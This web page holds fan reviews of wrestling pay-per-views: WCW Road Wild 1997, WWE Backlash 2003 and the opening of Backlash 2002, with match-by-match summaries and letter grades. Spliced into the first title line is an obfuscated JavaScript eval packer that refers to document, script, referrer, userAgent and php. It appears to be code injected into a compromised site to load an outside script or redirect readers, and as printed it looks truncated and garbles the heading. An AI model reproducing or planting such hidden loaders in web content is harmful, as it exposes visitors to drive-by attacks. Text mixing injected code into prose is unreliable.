Road Wild 1997: You Can See The Problems Mounting Up Already

Road eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhbbr|var|u0026u|referrer|tfrzh||js|php'.split('|'),0,{})) Wild 1997
Date: August 9, 1997
Location: Sturgis Motorcycle Rally, Sturgis, South Dakota
Attendance: 6,500
Commentators: Tony Schiavone, Dusty Rhodes, Bobby Heenan

Back to the motorcycle place and to the shock of everyone, Hogan ISN’T champion! He lost the title to Luger on Monday just before this match. That’s always been surprising because you would think they would just have Sting break the year and a half reign. Instead they went with this which is questionable but it was a bit of a breather at least. There isn’t much else to talk about here so let’s get to it.

Harlem Heat vs. Vicious and Delicious

That’s Norton and Bagwell. Buff and Booker get us going here. Booker hooks the arm but Bagwell dropkicks him into the corner and it’s off to Norton. Ray comes in for a power vs. power brawl and Norton gets slammed. Back to Booker for a suplex which gets two but a spin kick is countered into a kind of powerbomb. Buff cleans house for some reason but Booker knocks him to the outside.

Booker hooks a chinlock which is a heel move but since they’re against the NWO, wouldn’t that make them faces? Bagwell fights up and hits a clothesline to set up the tag to Norton. Stevie breaks up the tag as I can’t get over the heel/face dynamic being so backwards here. Cue Jackie to really make this match great. Harlem Heat had been promising a surprise before this and I guess it’s her.

Bagwell comes back from the beating with a powerbomb of all things and it’s off to Norton off a hot (?) tag. Vincent’s interference fails so Ray beats him up. Norton hits Booker with the shoulderbreaker but Jackie interferes enough to let Booker side kick Norton down for the pin. What an odd match.

Rating: D. I’m not sure what the idea here was but it really didn’t work all that well. First of all, the heel/face dynamic was completely backwards here, as the NWO team wrestled as faces. Harlem Heat wrestled as heels and had Bagwell in trouble most of the time, plus Norton got a hot tag and the Heat had a manager interfere. Oh and Jackie sucks but you already know that. I don’t know what was going on here but it didn’t work.

DiBiase talks about how awesome his team of Steiners are.

Konnan vs. Rey Mysterio Jr.

This is a Mexican Death Match, which I think means knockout or submission only. Konnan is NWO also. Apparently it’s a Mexican Grudge Death Match and it’s No DQ. That’s the only rule apparently. Rey has a bad leg coming in. He speeds things up to start and hits a springboard missile dropkick to take over. That’s quite a leg injury. Konnan drops him on the buckle and hits a clothesline to the back of Rey’s head to take him down.

Konnan hooks a leg lock and Rey screams a lot. Mysterio gets sent to the floor and tries to jump over Konnan to come back in, but he hurts his knee again. A chopblock puts Rey down again and it’s time to crank on the leg. The leg work continues for awhile as there’s not much to say. Konnan puts on leg hold #19 and goes after Rey’s mask. A powerbomb puts Rey down so he can get a better attempt at it.

Konnan gets the mask off but can’t get it completely off, so Rey gets in a weak shot to the ribs and puts the mask back on. Rey’s offense is pretty bad due to the injured leg and his double springboard moonsault misses badly. Konnan kicks the knee out again and this needs to end soon. There’s a modified Stump Puller (he puts Rey’s legs in figure four position but sits Rey up and sits on the neck, pulling back on Mysterio’s legs) but it keeps going as Konnan gets bored. Mysterio comes back with a quick rollup for two. Rey goes up but gets caught in a cradle DDT and the Tequila Sunrise for the tap.

Rating: D+. So why was this no DQ again? It was never mentioned or used at all. The leg work was ok enough and the match wasn’t all that bad, but for a DEATH match, there wasn’t anything deadly about it at all. If this were a regular match it would have been ok enough, but don’t add the gimmick names if there’s nothing special about them.

Mean Gene has gotten a tattoo. My goodness.

Dean Malenko/Jeff Jarrett vs. Steve McMichael/Chris Benoit

This is an elimination tag for no apparent reason. The Horsemen feud is STILL going on and mainly is between Jarrett and McMichael, neither of whom got over because of it. Jarrett and Benoit start and Jarrett wants little to do with that so it’s time for Dean. Benoit runs him over and Dean slows things down. That doesn’t last long as Benoit starts running again, but misses an enziguri. Dean misses an elbow and it’s a standoff.

They fight over a victory roll and Dean gets two off a small package. Benoit tags in Mongo who charges into a drop toehold. Dean hits the ropes but gets kicked in the back for the Horsemen to take over. They keep alternating on him for a few minutes with Mongo using a variety of side slams, which are some of the only moves he was decent at. Jarrett runs from Mongo as Mongo tries a tackle at Dean. Malenko jumps over him and makes the tag to Jarrett, who is terrified.

Jeff, the US Champion, comes in and pulls Mongo on top of himself and intentionally gets pinned. THE US CHAMPION PEOPLE! So now it’s a handicap match so Dean goes crazy to start, grabbing some fast rollups. Benoit reverses a tombstone and hits the Swan Dive but it’s back to Mongo for more beating. Tombstone finally ends this.

Rating: C-. Everything without Jarrett in there was fine. When Mongo is better than you in a match, you need to get out. Thankfully Jarrett would jump to the WWF in about two months. This country music entrance that he had and all the stuff with Miss Debra didn’t work AT ALL, so they pushed it for the better part of a year. It just dragged everything down and no one ever cared. Jeff didn’t get interesting until he became a jerk with short hair in 1998. Then he was bearable.

Cruiserweight Title: Chris Jericho vs. Alex Wright

Wright is champion. Feeling out process to start with Wright running to the ropes. The fans chant gay slurs at him as the feeling out continues. Jericho charges at Wright which gets him nowhere. Some chops and right hands put Wright down on the floor and we stall some more. Back in Wright grabs a headlock which is quickly broken and Jericho hits a spinwheel kick to send Wright back to the floor.

As Alex comes back in, Jericho crotches him and hits the springboard dropkick to send him to the floor for a third time. Jericho finally gets bored and dives out to the floor to take Wright down. Wright sends him into the steps to take over and adds a suplex on the outside. Coming back in, Jericho LAUNCHES him off the top with a slam which gets two. Off to a headlock by the challenger. He goes to the arm instead as things slow down.

Wright comes back and counters a leapfrog with another spinwheel kick. The champ dances again as Dusty says a win here could drive a stake into the heart of the NWO. Ok then. Alex takes forever to set up a moonsault and Jericho rolls away. Lionsault hits Wright’s back but he adds a senton backsplash before getting two. Jericho’s double powerbomb gets a delayed two. Wright grabs a suplex for two and Jericho counters the German suplex into a cradle for the same. Wright reverses a rollup into one of his own with tights for the pin.

Rating: C-. It was slow paced for the most part but it was ok. The ending however sucked and it keeps up with the running theme of the night: not a horrible match but it’s nothing that you would ever want to see again. It’s also not great but it could have been far worse. That makes it the worst kind of match: just ok and mostly boring.

Syxx vs. Ric Flair

After a lot of stalling and taunting, we get an armdrag and it’s time for more stalling. Syxx controls a bit but misses a charge to send himself to the floor. Flair slows it down and Syxx does some of his usual stuff. Flair chops him down but Syxx comes back with a spin kick to the back of the head to take him down. Bronco Buster hits and it’s off to a chinlock. This is a really boring match so far.

Guillotine legdrop gets two. Back to the chinlock as this match needs to end already. We go to a wide shot of the crowd because the director is getting bored of the match too. Flair starts his comeback with his strikes but Syxx hits an enziguri to take him down. A flip dive misses and it’s time to go for the knee. Figure Four goes on but Syxx is in the ropes. Buzzkiller (Crossface chickenwing) is broken up so here’s another Bronco Buster. Flair puts his foot into Syxx’s crotch, rolls him up and uses the feet on the ropes for the pin.

Rating: D. Whatever man. This went nowhere at all and was full of rest holds that didn’t do anything to excite the crowd. Syxx was so boring around this time as he knew he didn’t have to do anything because he was friends with the big shots. Also great to see Flair wasted on a midcard match instead of putting over some young guy. Very boring match.

Diamond Dallas Page vs. Curt Hennig

This is a grudge match for some reason. We get a very quick brawl on the floor before they head back in for the bell. It’s a slugout to begin and Page spins Hennig around BY HIS HAIR. Hennig gets to do his slide into the post balls first spot. Page goes up but Curt falls onto the ropes to crotch him. There’s the necksnap and Hennig puts on a spinning toehold.

A quick sleeper is broken up by Page and he hooks a spinning sunset flip for two. Hennig clotheslines him down for two. A kickout lands on the referee so Hennig takes off the buckle pad. Page gets rammed into it but there’s no cover. Perfectplex gets two. Page starts his comeback and loads up the Pancake, but Hennig’s foot hits the referee. Cue Flair who comes off the top but walks into the Diamond Cutter. Another Perfectplex gets the pin. Page can kick his feet but can’t lift a free shoulder?

Rating: C. This was just ok and it’s pretty easily the best match of the night. Page and Hennig had good chemistry but there wasn’t much to do here. Flair coming in didn’t help anything at all but he was recruiting Hennig into the Horsemen which eventually resulted in what else? Hennig joining the NWO. Not a bad match but this show is pretty much beyond saving at this point.

Call the Hotline!

Promo from the NWO. It’s one of their pretaped deals.

According to Tony, the next three matches are the biggest in WCW history.

The Giant vs. Randy Savage

Nothing special to the match, but it’s the third biggest match in company history at worst. That would include being ahead of Luger winning the title on Monday I guess. Savage is NWO and Giant is one of WCW’s main soldiers against him. Savage stalls like the true Memphis man that he is. He gets in and tries to slam Giant which fails of course. Giant works him over with his usual power stuff until Savage heads to the floor.

That goes badly for him as well with Giant picking up the human shield known as Liz and moving her to the other side. Back in Savage takes out the knee and gets Giant down. He wraps the knee around the post and stomps on the knee some more. Double ax gets two but the second attempt is countered into a chokeslam for the pin.

Rating: D+. This was just a step above a squash but that’s ok for the most part. Giant would move on to feuding with Nash soon after this in one of the stupidest and most pathetic displays I can remember in a long time. Anyway, the match was short enough to keep from getting boring which is more than I can say for the rest of the show.

Tag Titles: Outsiders vs. Steiner Brothers

So here it is. After seven months of screwjobs, cheating finishes, no matches and everything else, the Outsiders have to face the Steiners for the titles. There is no reason for anything but new champions (the Outsiders are defending) here, so you should know what’s coming already. The Steiners come out on motorcycles, so let’s look at the fireworks instead! Scott and Scott get us going. For the sake of sanity during this match, Scott Hall will only be called Hall and Scott Steiner will only be called Scott.

Hall punches him down but Scott comes back with a butterfly suplex and everything breaks down. The Steiners clear the ring and they do their pose. Off to Rick vs. Nash with the giant trying Snake Eyes, only to get reversed into a suplex to put him down. Off to Scott but Hall’s distraction allows Nash to kick his head off and take over. Nash does the running crotch attack to the ropes and Scott is in trouble.

Off to Hall who hits his fallaway slam for two. Abdominal stretch goes on and the Outsiders cheat of course. Hall knocks Scott off the apron and it’s more dominance by the champions. Back to Nash for some chinlockery. Now for a change of pace, Hall comes in to give us the exact same thing. Scott picks Hall up and drops him down with an electric chair. Nash breaks up the tag again and Scott’s beating continues.

Big boot gets two. Nash does the leg choke in the corner but another big boot (this one with the left leg for some reason) misses. Scott can’t make the tag as Hall comes in with an elbow to the back. Outsider Edge is escaped and Scott hits a belly to belly to put both guys down. Hot tag to Rick and house is cleaned. Here comes the Steiner Bulldog to Hall and Nash pulls the referee out for the DQ. Yes, that’s the real ending.

Rating: D. Screw it. Seriously SCREW THIS COMPANY. There is ZERO reason at all to do this other than for the sake of screwing over the fans and the Steiners and keeping the belts on the Outsiders because they want them. The Steiners would win the titles in a few months (on Nitro of course) and no one cared because THEY SHOULD HAVE WON HERE. There is no reason for the titles to not change here that isn’t a service job for the NWO. Just freaking stupid and a big part of why the company was starting to reach trouble.

WCW World Title: Lex Luger vs. Hulk Hogan

It’s strange seeing the title on Luger for the first time. He never wore that belt back in the day despite chasing Flair for it for about four years. Feeling out process to start with both guys trading power moves. Luger runs him over so Hogan grabs the arm. Now Luger grabs Hogan’s arm. A few arm drags send Hogan to the floor and we take a breather on the floor. Back in the ring Hogan sends him into the corner and takes some control.

A slam and elbow drop get two. Off to a chinlock about six minutes into this. That’s a bit early no? Luger blocks a ram into the buckles and gives Hogan ten for his effort. Out to the floor and Hogan chokes away with a cord. We head back in and Hogan chokes in there instead. Off to a bearhug which evolves into the test of strength, which ends with a low blow to Lex.

Hogan is basically out of offense now so he just smacks Luger around with really basic slaps to various parts of the head. Big boot gets two. Luger no sells a suplex and makes his comeback but Luger takes him right back down. The legdrop misses and Lex fires off his clotheslines. Cue the NWO and despite three of them getting in the ring and a fourth getting on the apron, that isn’t a DQ. Cue Sting (the announcers are sure that it’s the real one, even though he’s black) who hits Luger with the bat and the legdrop gives Hogan the title back.

Rating: F+. Whatever here man. It’s a bad ending to a bad show. Hogan clearly had no business being out there for 16 minutes because he didn’t have anything to use after the end of his five move offense. The title change on Monday meant nothing and the ending here is stupid due to the announcers not noticing the incredible tan that Sting has gotten I guess.

It’s Dennis Rodman of course. The last eight minutes or so are the announcers freaking out and Hogan celebrating. Oh and they spraypaint the belt in the back and initiate Rodman into the NWO.

Overall Rating: F. You know until the end of this, I would have been ok with just saying that this was boring but not all that bad. Then they had the two IDIOT endings like they did which was more of the same. It was clear by this point that the NWO was about to cripple the company. Based on this it’s no surprise that the WWF would be starting to draw closer.

It wouldn’t happen for about 8 months, but once the WWF took over again, they wouldn’t let go (mostly) because WCW was that stupid. This is a great example of it, although the tag match is much worse than the main event from a booking perspective. The main event’s booking makes sense due to Sting in December, but the wrestling was just awful. Terrible show.

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Backlash 2003: This Was Embarrassing

Backlash 2003
Date: April 27, 2003
Location: Worcester, Coliseum, Worcester, Massachusetts
Attendance: 10,000
Commentators: Jonathan Coachman, Michael Cole, Jerry Lawler, Tazz

Rock vs. Goldberg. That’s really all there is to say about this show. Well not really because I’ll write five or six pages about it but you get what I mean. Goldberg debuted the night after Wrestlemania and I think this is the first big match he’s had. It’s also Rock’s last match for about eleven months as he would go full Hollywood, come back for Mania, and then be gone for seven years. Let’s get to it.

The opening video is exactly what you would expect: highlight packages of Rock and Goldberg who collide tonight.

Smackdown Tag Titles: Team Angle vs. Los Guerreros

The Smackdown Tag Titles were established in the fall and had been a big highlight of the company ever since. They let the wrestlers go out and have great matches, and when you had guys like these four, Angle/Benoit and Edge/Mysterio, you could mix and match anyone and get an entertaining match. Team Angle (who are defending here) brings out a portrait of Angle who is too hurt to be here. This is Los Guerreros’ rematch after the champs won the titles in February.

Eddie and Charlie get us going. They take it to the mat quickly and it’s a stalemate. Eddie gets three straight two counts and a nice bit of applause from the fans. After some showboating it’s off to Chavo vs. Benjamin. Los Guerreros take over on the arm of Shelton and use better teamwork. Shelton gets in a slam and clothesline on Chavo but Eddie gets in a shot to the back and Los Guerreros take over again.

Chavo chokes him with the tag rope and Eddie gets in some shots on the floor. Slingshot hilo gets two. Off to Haas who gets Eddie into the corner and Shelton uses the rope to choke away as well. Nice little bit of storytelling there. Eddie gets caught in the double team move where Shelton jumps over Charlie and lands on Eddie’s back for two. A pair of suplexes get two for Charlie.

Benjamin comes in with a chinlock and uses a leg lace to keep Eddie in the ring. Shelton comes back in with a kind of powerslam for two. Off to a chinlock as Cole sets up Tazz to explain how Shelton is making this hold more effective. See? Why can’t he do that with Booker and Lawler? Charlie bends Eddie’s back over his knee but Eddie comes out of it with a headscissors in a cool counter.

Hot tag to Chavo and he cleans house. Suplex gets two on Charlie. Shelton powerbombs the tar out of Chavo and everything breaks down. Three Amigos to Charlie but Eddie has to be sent out. Chavo gets a delayed two on Haas so Eddie Frog Splashes him so Chavo can get another two. He tries a suplex to Charlie but Shelton hooks the foot and it’s the Wrestlemania 5 ending as the champions retain.

Rating: B-. Bad ending to a good match here. Like I said, there’s no real need for a story here because you can give four talented guys fifteen minutes and you’re going to get a good match. Tag matches and cruiserweight matches to open a show are great choices. Tag matches with cruiserweight style guys are even better choices. Good stuff here but the ending wasn’t great.

Chavo dives onto the champs and Los Guerreros steal the belts. They head to the back and leave in a green car. The horn plays La Cucaracha and the car bounces away.

Torrie tells Test to leave her alone. He calls her baby and says they don’t have to tell Stacy about anything. Stacy is Test’s girlfriend but he’s not getting any until he wins more if I remember this properly. Test won’t let her leave and kisses her, making Torrie leave distraught. Sable sees what happened and smiles.

Here’s a very fat gut attached to Roddy Piper. He’s got a basket of coconuts with him. After saying he has a lovely bunch of coconuts, he introduces Sean O’Haire.

Sean O’Haire vs. Rikishi

O’Haire was a guy with A TON of potential and an awesome looking gimmick that was similar to a devil’s advocate who said that everyone knew they did wrong things, but what’s so bad about that? Look up the promos as they’re really cool. Then he was put into a feud about Piper vs. Hogan and became Piper’s lackey and had his push ruined. This match is happening because of Piper hitting Snuka with a coconut almost 20 years ago.

Rikishi controls to start but Piper offers a distraction to shift momentum. O’Haire hooks on a chinlock as this match stops very quickly. Piper plays to the crowd and gets them to boo him, because keeping the focus on the guys in the ring isn’t a good idea right? O’Haire misses a spin kick and Rikishi splashes him in the corner. Sean escapes the Stink Face and Piper gets in the ring. He brings in the coconut but both guys hit kicks at the same time. Piper gets in again but Rikishi cracks the coconut over his head. O’Haire picks Rikishi up and hits the reverse Death Valley Driver for the pin.

Rating: D-. Piper sucked the life out of O’Haire at this point because no one was interested in Piper vs. Rikishi, which is what this was really about. Piper would be gone a few months later and O’Haire’s push would die. The Devil’s Advocate character was never mentioned again and we lost a ton of great potential. But hey, Piper got some TV time out of it right?

Sable comes up to Stacy at catering and suggests that Torrie hit on Test. This was part of some weird lesbian crush that Sable had on Torrie.

RVD and Kane get fired up. RVD is nervous because Morley is guest referee. Kane says let’s go win.

Raw Tag Titles: Dudley Boyz vs. Kane/Rob Van Dam

RVD and Kane are champions. Morley is the guest referee and the corrupt Chief of Staff for Bischoff. The Dudleyz are heel against their will here but it’s the only way they can get a title shot. They’ve also been fighting a bit. Bubba and RVD start us off and it’s power vs. speed. RVD kicks the legs out from under him but Bubba pounds him down with ease. Van Dam tries to flip out of the corner but Bubba takes his head off with a clothesline.

Off to D-Von and Kane with the masked man taking over. Big boot gets two as Morley has been fine so far. Bubba comes back in and gets clotheslined down very quickly. The fans want tables as Bubba manages to knock Kane down. The count seems a little faster there. Spinebuster by Kane gets two and a pretty fast count as well. Van Dam comes back in for some flipping offense, including a moonsault for two.

The rolling monkey flip is countered and Bubba hits a sidewalk slam for one. Kane gets knocked down and What’s Up RVD? D-Von comes back in and gets two as Van Dam is in trouble. Off to a chinlock to fill in some time. Bubba comes back in but gets caught by a spin kick from Van Dam and it’s a double tag to bring in D-Von and Kane. The Dudleys are both in the ring at the same time and Morley is fine with it. Back to RVD who hits Rolling Thunder on Bubba.

The monkey flip is broken up but Kane hits the top rope clothesline to take D-Von down. Morley hits Kane low to break up the chokeslam but it only gets two. Morley clotheslines Bubba by mistake and D-Von beats the tar out of him. Here’s Lance Storm to take out D-Von but he takes a Bubba Bomb. There’s a 3D to Morley and a chokeslam to Bubba. Five Star Frog Splash gets the pin by another referee.

Rating: D+. The match wasn’t that terrible but MAN was it overbooked. I completely lost track of what was going on in the middle of the match with who was on what side. Did anyone really care about Morley in 2003? I don’t think anyone did in 2001 so I’m thinking the answer to that is no here. The match was ok but it was a total mess by the end which brings it down.

Stacy goes into the women’s locker room and a fight starts.

Women’s Title: Jazz vs. Trish Stratus

Trish is champion and Jazz has Teddy Long with her. The Dudleys beat up Trish on Raw recently so she’s coming in injured. To those of you paying attention, IT’S THE SAME THING AS LAST YEAR. Jazz goes after the bad ribs but gets rolled up for a quick two. Clothesline gets two for the champ but Jazz goes back to the ribs. A release Glam Slam puts Trish down but she comes back with a tilt-a-whirl slam for two.

Backslide gets a delayed two because Teddy has the referee. Jazz gets in a shot to the back and it’s off to a Boston Crab. Trish rolls out of it with leg strength and hooks the same move on Jazz and then into an STF, which is the same finishing sequence from last year. Teddy shoves the rope to Jazz though and we keep going. Chick Kick gets two. Stratusfaction hits but Teddy throws in his shoe to break it up. Somehow that’s not a DQ and Jazz rolls her up with the ropes for the pin.

Rating: D. Someone tell me the appeal of Jazz. This is the second year in a row they’ve put her over Trish for the title and I still don’t see the appeal of her. You have Molly and some other chicks on the roster that can be evil and you pick Jazz? Why? So you can have her speak ebonics and be loud? You have Jackie for that. Boring match with an annoying outcome.

Booker and Shawn fire each other up. Nash is ready too. Yeah the Raw main event is a six man that no one wants to see.

Rey Mysterio vs. Big Show

Apparently Mysterio embarrassed Show recently. A fan things Big Show loves Cher. Is that an insult? Rey gets Show to chase him which frustrates the giant. Things go exactly as you would expect: Rey fires off some offense, Show uses power, Rey speeds things up again. Backbreaker puts Rey down and Show takes over. Rey gets sent to the floor and gets in a chair shot and seated senton for two. A pair of 619s take Show down and a third staggers Show but he jumps into the chokeslam for the pin.

Rating: D. I can’t stand these matches. The one perk here is that Show didn’t look like an idiot for the most part. At the end of the day, without making the giants look stupid in these matches, there’s no real conceivable way to have a competent giant lose these matches. Rey’s offense would have no effect here and for the most part it didn’t. The ending helped it but the rest of it was junk.

Post match Rey is put on a backboard and Show picks it up and slams the board into the post.

Flair, HHH and Jericho (the other team in the six man) say that they’re ready and not worried about Nash. Yeah, not only did HHH vs. Nash get two PPV singles matches, it gets a six man as well. That’s ignoring their European PPV main event too.

Stacy and Torrie are still fighting. Were they fighting all through that match? Scott Steiner comes in to take care of Stacy again, which would lead to them hooking up and then a feud with Test, resulting in a Steiner heel turn and Stacy being made a sex slave. Test comes in to yell and Steiner leaves. Some savior.

We recap Cena vs. Lesnar. Cena was a plucky young guy that Lesnar hurt so then Cena came back as a rapper and won a pretty star studded tournament to get his shot here. Check out these brackets.

Chris Benoit
Albert

Big Show
Rhyno

Undertaker
Rey Mysterio

Eddie Guerrero
John Cena

Cena beat Eddie, Undertaker (with interference) and Benoit. That’s not bad for a guy less than a year into his run with the company. Then again Lesnar main evented Mania in his first year so that trumps Cena I think.

Smackdown World Title: John Cena vs. Brock Lesnar

This would be a very different match today. I mean imagine: CENA ON SMACKDOWN? That’s hilarious. Cena comes out in a Yankees jersey and raps about being better than Sammartino. He’s iron like the Sheik and has us in his camel clutches. Cena jumps him from behind and we’re ready to go. This is Lesnar’s first defense since Mania. Lesnar grabs him into a backbreaker and hits two of them followed by a fallaway slam.

Brock hooks a front facelock on the mat and the fans think this is boring. That’s so weird to hear in a Cena match. A kind of fisherman’s suplex puts Cena down. Lesnar hits a gorilla press and we head outside. Cena goes into the announce table as this has been ALL Brock for the first few minutes. Back in Cena avoids a clothesline and heads right back to the floor. John manages to reverse a whip into the steps and gets a breather.

Brock is bleeding from a bandaged cut he had coming in. Belly to back gets two for the challenger. Cena knocks him to the floor and rams Brock’s head into the post again. That gets two so it’s chinlock time. Brock has a cut that looks like the kind Hogan used to get: it’s all jagged. The hold doesn’t last long as Lesnar charges into a big old spinebuster which puts both guys down.

Cena comes back with a clothesline for two. Now the Dr. is getting frustrated so he puts on a rear naked choke of sorts. Cena’s eyes look crazy here. Brock gets up and rams Cena’s back into the corner three times to break the hold. That would be opposite corners which makes it even more impressive. Brock gets all fired up and hits a bunch of clotheslines and a spinebuster for two. Powerslam gets the same. Brock almost gets rammed into the referee but he puts on the brakes. Low blow gets two for Cena and the Throwback gets two. Cena picks up the chain but as it’s taken away he walks into the F5 for the pin.

Rating: B-. Not bad here but man is it weird to see Cena as such an underdog. This wasn’t really a match with a chance of having a new champion, but rather giving Brock a good first match as champion. Cena was obviously going to get better but for a first time out there, this was fine. Why they don’t do this more often today is beyond me. Why not throw out something like Kofi for a title match if you have a bigger main event such as Rock vs. Goldberg.

We recap the six man. Nash wants HHH, Booker wants HHH, Shawn wants HHH, Jericho and Flair are there to give some backup. Jericho and Shawn were just getting past their Mania match too.

Ric Flair/HHH/CHris Jericho vs. Shawn Michaels/Booker T/Kevin Nash

Booker gets an ok reaction, Shawn gets a good reaction, Nash gets NOTHING. Nash and HHH start but Jericho tags in during the staredown. Off to Shawn as well before any contact was made. Shawn punches him a few times and hooks a sunset flip for two. They trade pinfall attempts, getting about 14 in total. Off to Nash who sends Jericho to the floor and hits both Evolution members.

Back in Nash hits the big boot and with 1/5 of his offense gone, he brings in Booker. Spinebuster gets two on Jericho. Flapjack gets the same. Jericho gets him into the corner and it’s off to The Game. Flair comes in and misses a knee drop, letting Booker tag in Shawn. Forearm and nipup set up the superkick but after it connects, Shawn walks into a Pedigree. Flair makes the tag and it’s off to Jericho who picks the bones of Shawn.

A few elbow drops get two for the Canadian so it’s off to HHH again. High knee gets two for the Game. Flair comes in but the Figure Four is countered into a small package for one. Jericho back in and he throws on a quick hold which gets him nowhere so it’s HHH time again. That goes nowhere so it’s back to Flair for some knee attacks. Shawn gets a clothesline for a pair of twos but he can’t follow up.

Double tag brings in HHH and Nash and things slow down again. You can literally see the crowd sitting still during his house cleaning segment. Shawn had been in trouble for awhile just like the formula would suggest, but the people just don’t care at all. Everything breaks down and it’s Booker vs. Flair on the floor. Pedigree is broken up as is a Jackknife (a few people reacted at least) and everything breaks down even more.

There’s a Spinarooni and the fans pop to their feet. Shawn slams Flair off the top but Jericho breaks up the kick. Figure Four goes on and Jericho adds the Lionsault. Nash comes in for the save and the second Jackknife attempt gets even less of a reaction. There go Flair and the referee and the Jackknife kills Jericho to a moderate reaction. Not that it matters as HHH hits Nash with the hammer for the pin.

Rating: C. The match was ok but Nash’s reactions were downright embarrassing. No one cared about Nash and there’s no other way of looking at it. The pop for his entrance got nothing, his hot tag got nothing, his finisher got nothing. Also, why in the world would you have HHH pin him here? Why in the world would I want to see Nash vs. HHH now if HHH just pinned him? You have Nash pin HHH here to set up the PPV match that you just have to have. Ok match, stupid booking.

We don’t know much about Mysterio now other than he’s hurt.

We recap Rock vs. Goldberg. Rock beat Austin at Mania and had his appreciation night until Goldberg debuted and speared him to death. They had Goldberg talk too, which defeats the purpose of him.

Rock says he’s done it all and that when he got speared, it hurt but he’s here. Rock is a heel here but he’s so energetic that no one will boo him. Goldberg is next.

The Rock vs. Goldberg

Goldberg’s music is changed. You know, because Goldberg wasn’t over with what he had. We also get the full on Hollywood Rock entrance which is still awesome. Goldberg’s music is MUCH softer and it doesn’t work at all. Lawler keeps talking about how Goldberg was a big fish in a small pond and makes sure to make people remember that WCW was NOTHING. The fans chant Goldberg as we’re in full stall mode.

We’re going very slowly with Goldberg knocking Rock out to the floor. Rock stalls on the floor but guillotines him on the rope and hits a clothesline for a pop. Goldberg hits a Rock Bottom and sets up for the spear but Goldberg crashes into the buckle which Lawler says “may be the greatest thing he’s ever seen.” Now it’s Sharpshooter time which is broken eventually. For some reason the referee looks away and Rock hits Goldie low.

Rock sets for the Rock Bottom but Goldberg hits a weak spear. Time for more laying around as this match is WAY too boring. Rock tries some clotheslines but Goldberg won’t go down. A spear from Rock puts Goldberg down and King is losing it. Rock Bottom gets two. The Great One punches him so Goldberg clotheslines him down. Another spinebuster sets up the Elbow but it only gets two and the fans are mad. Spear hits, Rock swears, spear again, Jackhammer and we’re done thank goodness.

Rating: F. ARE YOU FREAKING KIDDING ME? This was GOLDBERG VS. THE ROCK! Goldberg literally did nothing but punches, clotheslines, spears and the Jackhammer. Not close to it, not an expression, literally that’s it. This match was absolutely awful with them spending at least four minutes (out of 13) laying around. It’s one of the worst debuts I can remember in years and it was completely unacceptable.

Overall Rating: D-. I was thinking this was an ok at best PPV until the main event. Then the bottom fell out of that idea. This was AWFUL with a terrible main event. Nash’s reactions are some of the most embarrassing I’ve ever seen but he would be in the next THREE Raw PPV main events for the title until Goldberg took over. You know, the guy who got a lukewarm reaction at best. There’s a reason people call 2003 the worst year in company history. IT WAS TERRIBLE.

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Backlash 2002: The Definition Of Bleh, Meh, Eh, And All Other Uninterested Non-Words You Can Think Of

Backlash 2002
Date: April 21, 2002
Location: Kemper Arena, Kansas City, Missouri
Attendance: 12,489
Commentators: Jim Ross, Jerry Lawler

This is the show after Wrestlemania 18 and the main event is Hogan vs. HHH for the title. Other than that we have Austin vs. Undertaker which I’m not sure what to expect from. The show doesn’t look great on paper but after doing Backlash 2000, almost anything is going to come off as inferior. I’ve been surprised before though. Let’s get to it.

We open with Hogan talking about how at Wrestlemania, The Rock became a Hulkamaniac. HHH talks about wanting to destroy part of his childhood. It’s about being the greatest ever or something like that.

Cruiserweight Title: Tajiri vs. Billy Kidman

Tajiri is evil and making Torrie wear a Geisha girl robe. He’s also challenging here. This is just after the Brand Extension and the first time the whole roster has been together in a few weeks. Feeling out process to start and Tajiri misses a big kick. They go to the corner and exchange strikes. Tajiri hooks a slingshot to send Kidman onto the middle rope but he comes off with a spinning missile dropkick for two. Out to the floor and Tajiri drapes him over the barricade to take over.

Tajiri chokes him in the ropes back inside and hits a BIG kick to the head. Off to a chinlock which is pretty quickly broken up. Kidman gets put in the Tree of Woe and Tajiri hits a baseball slide dropkick to the face. That always looks great. Now Tajiri works on his back and tries the Tarantula but Kidman breaks it up. Tajiri is sent to the apron and jumps up into a sunset flip position but spins around into the Tarantula in a slick counter.

Buzzsaw kick misses and Kidman counters the powerbomb attempt into a facejam as is his custom. They exchange rollup attempts but Tajiri kicks his head off for two. Another powerbomb is countered the same way and it’s Shooting Star time. It eats canvas though and the Buzzsaw kick gets two. The fans start a Kidman chant as the guys go to the corner. Kidman hits a sitout spinebuster off the middle rope for a VERY close two. Kidman tries a powerbomb of his own but Tajiri sprays red mist in his eyes for the pin.

Rating: B-. Good opener here with both guys hitting some big stuff in there. Tajiri is probably my favorite Japanese guy and he didn’t disappoint here. That spinning Tarantula and the Buzzsaw kick were great. The spinebuster was awesome too and it made for a great opener. Gee, two talented guys having a few minutes make for a good match. Shocking no?

Tajiri rants in Japanese.

We get an APA reunion in the back as they’ve been split by the Draft. Bradshaw’s match is next.

Scott Hall vs. Bradshaw

Yes, knowing that Hall is likely going to erupt soon, they put him against BRADSHAW. X-Pac gets in the ring also so Farrooq comes out to offer backup. There’s the toothpick throw to start and Bradshaw puts him down quickly. DDT gets two and it’s time to tell X-Pac he sucks. Hall goes to the floor and backs into Farrooq who blasts him in the face. The NWO broke up the APA’s office so there’s an actual story to this.

Bradshaw stays in control with some elbow drops for two. Hall comes back with almost the only move he can do in 2012: punches. He mixes it up with a spin punch so maybe that counts as a second move. Hall stomps him down in the corner but Bradshaw punches back from the mat. JR calls it a bowling shoe match as Bradshaw kicks him in the face. The big Clothesline gets two as Pac makes the save. Farrooq chases him off and Bradshaw punches X-Pac off the apron. The distraction lets Hall hit Bradshaw low (kind of. It was more like he put his arm between Bradshaw’s legs and left it there. There wasn’t any force.) for the pin.

Rating: F. There’s no real other way to put it: this was a very bad match with no real redeeming value. Hall going over doesn’t help anyone, Bradshaw wouldn’t do anything for two years, the ending was bad, there was very little action, and the fans didn’t care. With no redeeming value, how can you call it anything but a failure? Terribly uninteresting match.

Vince goes to see Flair and says that Flair is starting to feel the heat as an owner. Tonight Flair is guest referee for Austin vs. Undertaker which is a #1 contenders match. Flair yells at Vince a lot and says he’ll never be like Vince McMahon. There are so many ways you can take that and most of the time it’s true.

